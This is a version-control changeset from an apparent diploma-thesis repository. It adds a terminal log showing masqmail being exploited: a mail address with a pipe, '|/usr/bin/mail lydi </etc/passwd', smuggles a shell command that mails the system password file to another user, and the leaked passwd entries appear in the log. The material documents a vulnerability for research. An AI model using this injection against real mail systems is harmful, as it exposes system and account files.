docs/diploma

changeset 198:402db7e2ecc4

how to exploit masqmail :-(
author meillo@marmaro.de
date Wed, 31 Dec 2008 14:04:35 +0100
parents b08be036783d
children 8af18dd9103f
files hardcopies/bin-mail-attack.txt
diffstat 1 files changed, 33 insertions(+), 0 deletions(-) [+]
line diff
     1.1 --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
     1.2 +++ b/hardcopies/bin-mail-attack.txt	Wed Dec 31 14:04:35 2008 +0100
     1.3 @@ -0,0 +1,33 @@
     1.4 +test$ mail '|/usr/bin/mail lydi </etc/passwd'
     1.5 +Subject: the password file
     1.6 +hey hey jippee, here's your present :-)
     1.7 +.
     1.8 +Cc:
     1.9 +test$
    1.10 +
    1.11 +
    1.12 +
    1.13 +
    1.14 +lydi$ mail
    1.15 +Mail version 8.1.2 01/15/2001.  Type ? for help.
    1.16 +"/var/mail/lydi": 1 message 1 new
    1.17 +>N  1 test@dream         Wed Dec 31 11:12   46/1910
    1.18 +&
    1.19 +Message 1:
    1.20 +From <test@dream> Wed Dec 31 11:12:45 2008
    1.21 +Envelope-to: <lydi@dream>
    1.22 +To: lydi
    1.23 +From: <test@dream>
    1.24 +Date: Wed, 31 Dec 2008 11:12:45 +0100
    1.25 +
    1.26 +root:x:0:0:root:/root:/bin/bash
    1.27 +daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    1.28 +bin:x:2:2:bin:/bin:/bin/sh
    1.29 +sys:x:3:3:sys:/dev:/bin/sh
    1.30 +.
    1.31 +.
    1.32 +.
    1.33 +test:x:1001:1002:test,,,:/home/test:/bin/bash
    1.34 +lydi:x:1002:1003:lydi,,,:/home/lydi:/bin/bash
    1.35 +
    1.36 +&